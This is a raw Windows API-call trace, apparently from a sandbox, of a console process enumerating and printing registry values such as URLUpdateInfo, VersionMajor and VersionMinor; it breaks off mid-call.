[0148.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.280] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.280] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.280] GetProcessHeap () returned 0x2e0000 [0148.280] GetProcessHeap () returned 0x2e0000 [0148.280] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.280] GetProcessHeap () returned 0x2e0000 [0148.281] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.281] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.281] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.281] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.281] GetProcessHeap () returned 0x2e0000 [0148.281] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.281] GetProcessHeap () returned 0x2e0000 [0148.281] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.281] GetProcessHeap () returned 0x2e0000 [0148.281] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.281] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.281] __iob_func () returned 0x7fefd702a80 [0148.281] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.281] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.281] _fileno (_File=0x7fefd702ab0) returned 1 [0148.281] _errno () returned 0xc4bb0 [0148.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.281] _errno () returned 0xc4bb0 [0148.281] GetFileType (hFile=0x50) returned 0x1 [0148.281] lstrlenW (lpString=" ") returned 4 [0148.281] GetConsoleOutputCP () returned 0x1b5 [0148.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.281] GetConsoleOutputCP () returned 0x1b5 [0148.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.281] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.281] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.282] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.282] __iob_func () returned 0x7fefd702a80 [0148.282] _fileno (_File=0x7fefd702ab0) returned 1 [0148.282] _errno () returned 0xc4bb0 [0148.282] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.282] _errno () returned 0xc4bb0 [0148.282] GetFileType (hFile=0x50) returned 0x1 [0148.282] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.282] GetConsoleOutputCP () returned 0x1b5 [0148.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.282] GetConsoleOutputCP () returned 0x1b5 [0148.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0148.282] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.282] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.282] __iob_func () returned 0x7fefd702a80 [0148.282] _fileno (_File=0x7fefd702ab0) returned 1 [0148.282] _errno () returned 0xc4bb0 [0148.282] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.282] _errno () returned 0xc4bb0 [0148.282] GetFileType (hFile=0x50) returned 0x1 [0148.282] lstrlenW (lpString=" ") returned 4 [0148.282] GetConsoleOutputCP () returned 0x1b5 [0148.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.283] GetConsoleOutputCP () returned 0x1b5 [0148.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.283] __iob_func () returned 0x7fefd702a80 [0148.283] _fileno (_File=0x7fefd702ab0) returned 1 [0148.283] _errno () returned 0xc4bb0 [0148.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.283] _errno () returned 0xc4bb0 [0148.283] GetFileType (hFile=0x50) returned 0x1 [0148.283] lstrlenW (lpString="REG_SZ") returned 6 [0148.283] GetConsoleOutputCP () returned 0x1b5 [0148.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.283] GetConsoleOutputCP () returned 0x1b5 [0148.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.283] __iob_func () returned 0x7fefd702a80 [0148.283] _fileno (_File=0x7fefd702ab0) returned 1 [0148.283] _errno () returned 0xc4bb0 [0148.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.283] _errno () returned 0xc4bb0 [0148.283] GetFileType (hFile=0x50) returned 0x1 [0148.283] lstrlenW (lpString=" ") returned 4 [0148.284] GetConsoleOutputCP () returned 0x1b5 [0148.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.284] GetConsoleOutputCP () returned 0x1b5 [0148.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.284] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.284] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.284] __iob_func () returned 0x7fefd702a80 [0148.284] _fileno (_File=0x7fefd702ab0) returned 1 [0148.284] _errno () returned 0xc4bb0 [0148.284] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.284] _errno () returned 0xc4bb0 [0148.284] GetFileType (hFile=0x50) returned 0x1 [0148.284] lstrlenW (lpString="") returned 0 [0148.284] __iob_func () returned 0x7fefd702a80 [0148.284] _fileno (_File=0x7fefd702ab0) returned 1 [0148.284] _errno () returned 0xc4bb0 [0148.284] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.284] _errno () returned 0xc4bb0 [0148.284] GetFileType (hFile=0x50) returned 0x1 [0148.284] lstrlenW (lpString="\n") returned 1 [0148.284] GetConsoleOutputCP () returned 0x1b5 [0148.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.284] GetConsoleOutputCP () returned 0x1b5 [0148.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.285] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.285] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.285] GetProcessHeap () returned 0x2e0000 [0148.285] GetProcessHeap () returned 0x2e0000 [0148.285] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.285] GetProcessHeap () returned 0x2e0000 [0148.285] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.285] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.285] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.285] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.285] GetProcessHeap () returned 0x2e0000 [0148.285] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.285] GetProcessHeap () returned 0x2e0000 [0148.285] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.285] GetProcessHeap () returned 0x2e0000 [0148.285] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.285] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xc, pcbData=0x23f670*=0x4) returned 0x0 [0148.285] __iob_func () returned 0x7fefd702a80 [0148.285] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.292] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.292] _fileno (_File=0x7fefd702ab0) returned 1 [0148.292] _errno () returned 0xc4bb0 [0148.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.292] _errno () returned 0xc4bb0 [0148.292] GetFileType (hFile=0x50) returned 0x1 [0148.292] lstrlenW (lpString=" ") returned 4 [0148.292] GetConsoleOutputCP () returned 0x1b5 [0148.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.293] GetConsoleOutputCP () returned 0x1b5 [0148.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.293] lstrlenW (lpString="VersionMajor") returned 12 [0148.293] __iob_func () returned 0x7fefd702a80 [0148.293] _fileno (_File=0x7fefd702ab0) returned 1 [0148.293] _errno () returned 0xc4bb0 [0148.293] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.293] _errno () returned 0xc4bb0 [0148.293] GetFileType (hFile=0x50) returned 0x1 [0148.293] lstrlenW (lpString="VersionMajor") returned 12 [0148.293] GetConsoleOutputCP () returned 0x1b5 [0148.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.293] GetConsoleOutputCP () returned 0x1b5 [0148.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0148.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.294] __iob_func () returned 0x7fefd702a80 [0148.294] _fileno (_File=0x7fefd702ab0) returned 1 [0148.294] _errno () returned 0xc4bb0 [0148.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.294] _errno () returned 0xc4bb0 [0148.294] GetFileType (hFile=0x50) returned 0x1 [0148.294] lstrlenW (lpString=" ") returned 4 [0148.294] GetConsoleOutputCP () returned 0x1b5 [0148.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.294] GetConsoleOutputCP () returned 0x1b5 [0148.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.294] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.294] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.294] __iob_func () returned 0x7fefd702a80 [0148.294] _fileno (_File=0x7fefd702ab0) returned 1 [0148.294] _errno () returned 0xc4bb0 [0148.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.294] _errno () returned 0xc4bb0 [0148.294] GetFileType (hFile=0x50) returned 0x1 [0148.294] lstrlenW (lpString="REG_DWORD") returned 9 [0148.294] GetConsoleOutputCP () returned 0x1b5 [0148.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.294] GetConsoleOutputCP () returned 0x1b5 [0148.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.295] __iob_func () returned 0x7fefd702a80 [0148.295] _fileno (_File=0x7fefd702ab0) returned 1 [0148.295] _errno () returned 0xc4bb0 [0148.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.295] _errno () returned 0xc4bb0 [0148.295] GetFileType (hFile=0x50) returned 0x1 [0148.295] lstrlenW (lpString=" ") returned 4 [0148.295] GetConsoleOutputCP () returned 0x1b5 [0148.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.295] GetConsoleOutputCP () returned 0x1b5 [0148.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.295] __iob_func () returned 0x7fefd702a80 [0148.295] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.295] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xc") returned 3 [0148.295] _fileno (_File=0x7fefd702ab0) returned 1 [0148.295] _errno () returned 0xc4bb0 [0148.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.295] _errno () returned 0xc4bb0 [0148.295] GetFileType (hFile=0x50) returned 0x1 [0148.295] lstrlenW (lpString="0xc") returned 3 [0148.296] GetConsoleOutputCP () returned 0x1b5 [0148.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.296] GetConsoleOutputCP () returned 0x1b5 [0148.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc", lpUsedDefaultChar=0x0) returned 3 [0148.296] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.296] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.296] __iob_func () returned 0x7fefd702a80 [0148.296] _fileno (_File=0x7fefd702ab0) returned 1 [0148.296] _errno () returned 0xc4bb0 [0148.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.296] _errno () returned 0xc4bb0 [0148.296] GetFileType (hFile=0x50) returned 0x1 [0148.296] lstrlenW (lpString="\n") returned 1 [0148.296] GetConsoleOutputCP () returned 0x1b5 [0148.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.296] GetConsoleOutputCP () returned 0x1b5 [0148.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.296] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.296] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.296] GetProcessHeap () returned 0x2e0000 [0148.297] GetProcessHeap () returned 0x2e0000 [0148.297] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.297] GetProcessHeap () returned 0x2e0000 [0148.297] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.297] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.297] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.297] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.297] GetProcessHeap () returned 0x2e0000 [0148.297] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.297] GetProcessHeap () returned 0x2e0000 [0148.297] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.297] GetProcessHeap () returned 0x2e0000 [0148.297] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.297] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.297] __iob_func () returned 0x7fefd702a80 [0148.297] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.297] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.297] _fileno (_File=0x7fefd702ab0) returned 1 [0148.297] _errno () returned 0xc4bb0 [0148.297] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.297] _errno () returned 0xc4bb0 [0148.297] GetFileType (hFile=0x50) returned 0x1 [0148.297] lstrlenW (lpString=" ") returned 4 [0148.297] GetConsoleOutputCP () returned 0x1b5 [0148.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.297] GetConsoleOutputCP () returned 0x1b5 [0148.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.298] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.298] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.298] lstrlenW (lpString="VersionMinor") returned 12 [0148.298] __iob_func () returned 0x7fefd702a80 [0148.298] _fileno (_File=0x7fefd702ab0) returned 1 [0148.298] _errno () returned 0xc4bb0 [0148.298] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.298] _errno () returned 0xc4bb0 [0148.298] GetFileType (hFile=0x50) returned 0x1 [0148.298] lstrlenW (lpString="VersionMinor") returned 12 [0148.298] GetConsoleOutputCP () returned 0x1b5 [0148.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.298] GetConsoleOutputCP () returned 0x1b5 [0148.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0148.298] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.298] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.298] __iob_func () returned 0x7fefd702a80 [0148.298] _fileno (_File=0x7fefd702ab0) returned 1 [0148.298] _errno () returned 0xc4bb0 [0148.298] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.298] _errno () returned 0xc4bb0 [0148.298] GetFileType (hFile=0x50) returned 0x1 [0148.298] lstrlenW (lpString=" ") returned 4 [0148.298] GetConsoleOutputCP () returned 0x1b5 [0148.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.299] GetConsoleOutputCP () returned 0x1b5 [0148.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.299] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.299] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.299] __iob_func () returned 0x7fefd702a80 [0148.299] _fileno (_File=0x7fefd702ab0) returned 1 [0148.299] _errno () returned 0xc4bb0 [0148.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.299] _errno () returned 0xc4bb0 [0148.299] GetFileType (hFile=0x50) returned 0x1 [0148.299] lstrlenW (lpString="REG_DWORD") returned 9 [0148.299] GetConsoleOutputCP () returned 0x1b5 [0148.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.299] GetConsoleOutputCP () returned 0x1b5 [0148.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.299] fprintf (in: _File=0x7fefd702ab0, 